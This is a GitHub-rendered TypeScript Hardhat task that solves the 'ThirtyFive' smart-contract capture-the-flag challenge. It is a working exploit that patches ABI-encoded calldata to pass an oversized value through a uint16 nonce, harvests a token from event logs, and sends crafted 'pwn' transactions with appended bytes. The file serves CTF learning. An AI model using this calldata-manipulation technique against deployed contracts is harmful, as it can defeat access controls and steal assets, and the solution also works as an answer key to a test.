generated from The-Solid-Chain/smart-contracts-template
-
Notifications
You must be signed in to change notification settings - Fork 0
/
solveThirtyFive.ts
135 lines (110 loc) · 4.39 KB
/
solveThirtyFive.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { task, types } from "hardhat/config";
import { HardhatRuntimeEnvironment, TaskArguments } from "hardhat/types";
import { ThirtyFive } from "../typechain";
task("solveThirtyFive", "Solves the ThirtyFive challenge")
.addParam("thirtyFiveAddress", "Address of the exploitable contract", undefined, types.string, false)
.setAction(async (args: TaskArguments, hre: HardhatRuntimeEnvironment) => {
if (hre.network.config.chainId === undefined) {
throw new Error("Chain ID is not defined");
}
if (!hre.ethers.utils.isAddress(args.thirtyFiveAddress)) {
throw new Error(`Invalid contract address format: ${args.thirtyFiveAddress}`);
}
const ThirtyFiveFactory = await hre.ethers.getContractFactory("ThirtyFive");
const thirtyFiveChallenge = (await ThirtyFiveFactory.attach(args.thirtyFiveAddress)) as ThirtyFive;
const signers = await hre.ethers.getSigners();
const signer = signers[0];
console.log("Sending signature and setting nonce up...");
await signItLikeYouMeanIt(hre, thirtyFiveChallenge, signer, 1, hre.network.config.chainId);
console.log("Requesting token...");
const token = await giveMeMyToken(hre, thirtyFiveChallenge, signer);
console.log("...token received: ", token);
console.log("Sending first pwn...");
await pwn(hre, thirtyFiveChallenge, signer, token);
console.log("Sending second pwn...");
await pwn(hre, thirtyFiveChallenge, signer, token, "01");
console.log("Sending third pwn...");
await pwn(hre, thirtyFiveChallenge, signer, token, "02");
const result = await thirtyFiveChallenge.HackerWho();
console.log("[RESULT]:", result);
});
async function pwn(
hre: HardhatRuntimeEnvironment,
thirtyFiveChallenge: ThirtyFive,
signer: SignerWithAddress,
token: string,
extraData?: string,
) {
const pwnABI = ["function pwn(bytes32 token)"];
const pwnIFace = new hre.ethers.utils.Interface(pwnABI);
let encodedData = pwnIFace.encodeFunctionData("pwn", [token]);
if (extraData) {
encodedData += extraData;
}
const tx = await signer.sendTransaction({
to: thirtyFiveChallenge.address,
data: encodedData,
});
return tx.wait();
}
async function giveMeMyToken(
hre: HardhatRuntimeEnvironment,
thirtyFiveChallenge: ThirtyFive,
signer: SignerWithAddress,
) {
const tx = await thirtyFiveChallenge.giveMeMyToken();
await tx.wait();
const filter = thirtyFiveChallenge.filters.TokenGen(signer.address);
const events = await hre.ethers.provider.getLogs(filter);
const token = events[0].topics[2];
return token;
}
async function signItLikeYouMeanIt(
hre: HardhatRuntimeEnvironment,
thirtyFiveChallenge: ThirtyFive,
signer: SignerWithAddress,
nonce: number,
chainId: number,
) {
const domain = {
name: "ThirtyFive",
version: "1337",
chainId: chainId,
verifyingContract: thirtyFiveChallenge.address,
};
// The named list of all type definitions
const types = {
SIGNING: [
{ name: "nonce", type: "uint16" },
{ name: "expiry", type: "uint256" },
],
};
// The data to sign
const value = {
nonce: nonce,
expiry: hre.ethers.constants.MaxUint256,
};
const signature = await signer._signTypedData(domain, types, value);
// Create custom encoded data
const signItLikeYouMeanItABI = [
"function signItLikeYouMeanIt(uint16 nonce, uint256 deadline, bytes memory signature)",
];
const signItLikeYouMeanItIFace = new hre.ethers.utils.Interface(signItLikeYouMeanItABI);
const encodedData = signItLikeYouMeanItIFace.encodeFunctionData("signItLikeYouMeanIt", [
nonce,
value.expiry,
signature,
]);
// The trick is that the nonce being an uint16 is actually encoded as a uint256. We will take
// advantage of that to pass a bigger value that will be set into the nonces map
const fixedEncodedData =
encodedData.substring(0, 10) +
"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" +
encodedData.substring(70);
const tx = await signer.sendTransaction({
to: thirtyFiveChallenge.address,
data: fixedEncodedData,
});
return tx.wait();
}